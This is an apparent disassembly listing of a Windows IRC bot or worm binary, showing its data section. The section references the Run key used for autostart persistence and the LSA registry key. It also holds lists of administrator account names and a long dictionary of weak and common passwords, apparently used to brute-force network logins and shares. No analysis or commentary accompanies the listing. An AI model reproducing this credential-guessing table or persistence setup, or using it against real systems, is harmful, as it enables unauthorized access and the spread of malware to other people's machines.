off_429148 dd offset a@k7o_net ; DATA XREF: .nsp0:loc_409868o
; "*@k7o.net"
off_42914C dd offset aMircV6_16Khale ; DATA XREF: .nsp0:004023C5r
; .nsp0:00409884o
; "mIRC v6.16 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A702+28o
; sub_41AA26+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A702+D4o
; sub_41AA26+D4o
align 10h
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
align 8
off_429248 dd offset byte_443398 ; DATA XREF: .nsp0:loc_40D8BCr
; .nsp0:0040D8CDo ...
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_0 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_42FB78 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset a0_0 ; "0"
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber_1 ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay_0 ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
dd offset aEdges ; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
dd offset aEdition ; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
; ---------------------------------------------------------------------------
clc
jmp short loc_429BB5
; ---------------------------------------------------------------------------
align 4
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
; ---------------------------------------------------------------------------
fsubr st, st(3)
inc edx
add ah, cl
jmp short loc_429BC9
; ---------------------------------------------------------------------------
align 4
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
; ---------------------------------------------------------------------------
lodsb
jmp short loc_429BD5
; ---------------------------------------------------------------------------
align 4
movsb
jmp short loc_429BD9
; ---------------------------------------------------------------------------
align 4
pushf
jmp short loc_429BDD
; ---------------------------------------------------------------------------
align 4
xchg eax, esp
jmp short loc_429BE1
; ---------------------------------------------------------------------------
align 10h
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
db 64h
; ---------------------------------------------------------------------------
loc_429BB5: ; CODE XREF: .nsp0:00429B71j
jmp short loc_429BF9
; ---------------------------------------------------------------------------
align 4
dd offset aFeds ; "feds"
; ---------------------------------------------------------------------------
push esp
jmp short loc_429C01
; ---------------------------------------------------------------------------
align 10h
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
db 3Ch
; ---------------------------------------------------------------------------
loc_429BC9: ; CODE XREF: .nsp0:00429B85j
jmp short loc_429C0D
; ---------------------------------------------------------------------------
align 4
xor bl, ch
inc edx
add [eax], ch
jmp short near ptr byte_429C15
; ---------------------------------------------------------------------------
align 4
db 20h
; ---------------------------------------------------------------------------
loc_429BD5: ; CODE XREF: .nsp0:00429B91j
jmp short loc_429C19
; ---------------------------------------------------------------------------
align 4
db 18h
; ---------------------------------------------------------------------------
loc_429BD9: ; CODE XREF: .nsp0:00429B95j
jmp short near ptr loc_429C19+4
; ---------------------------------------------------------------------------
align 4
db 10h
; ---------------------------------------------------------------------------
loc_429BDD: ; CODE XREF: .nsp0:00429B99j
jmp short loc_429C21
; ---------------------------------------------------------------------------
align 10h
db 8
; ---------------------------------------------------------------------------
loc_429BE1: ; CODE XREF: .nsp0:00429B9Dj
jmp short near ptr loc_429C21+4
; ---------------------------------------------------------------------------
align 4
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
; ---------------------------------------------------------------------------
fsub st(2), st
inc edx
add ah, dl
loc_429BF9: ; CODE XREF: .nsp0:loc_429BB5j
jmp far ptr 42h:0EACC0042h
; ---------------------------------------------------------------------------
db 0C4h
; ---------------------------------------------------------------------------
loc_429C01: ; CODE XREF: .nsp0:00429BBDj
jmp far ptr 42h:0EABC0042h
; ---------------------------------------------------------------------------
dd offset aFoolproo ; "foolproo"
; ---------------------------------------------------------------------------
movsb
loc_429C0D: ; CODE XREF: .nsp0:loc_429BC9j
jmp far ptr 42h:0EA9C0042h
; ---------------------------------------------------------------------------
db 94h
byte_429C15 db 0EAh, 42h, 0 ; CODE XREF: .nsp0:00429BD1j
db 88h
; ---------------------------------------------------------------------------
loc_429C19: ; CODE XREF: .nsp0:loc_429BD5j
; .nsp0:loc_429BD9j
jmp far ptr 42h:0EA800042h
; ---------------------------------------------------------------------------
db 78h
; ---------------------------------------------------------------------------
loc_429C21: ; CODE XREF: .nsp0:loc_429BDDj
; .nsp0:loc_429BE1j
jmp far ptr 42h:0EA700042h
; ---------------------------------------------------------------------------
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
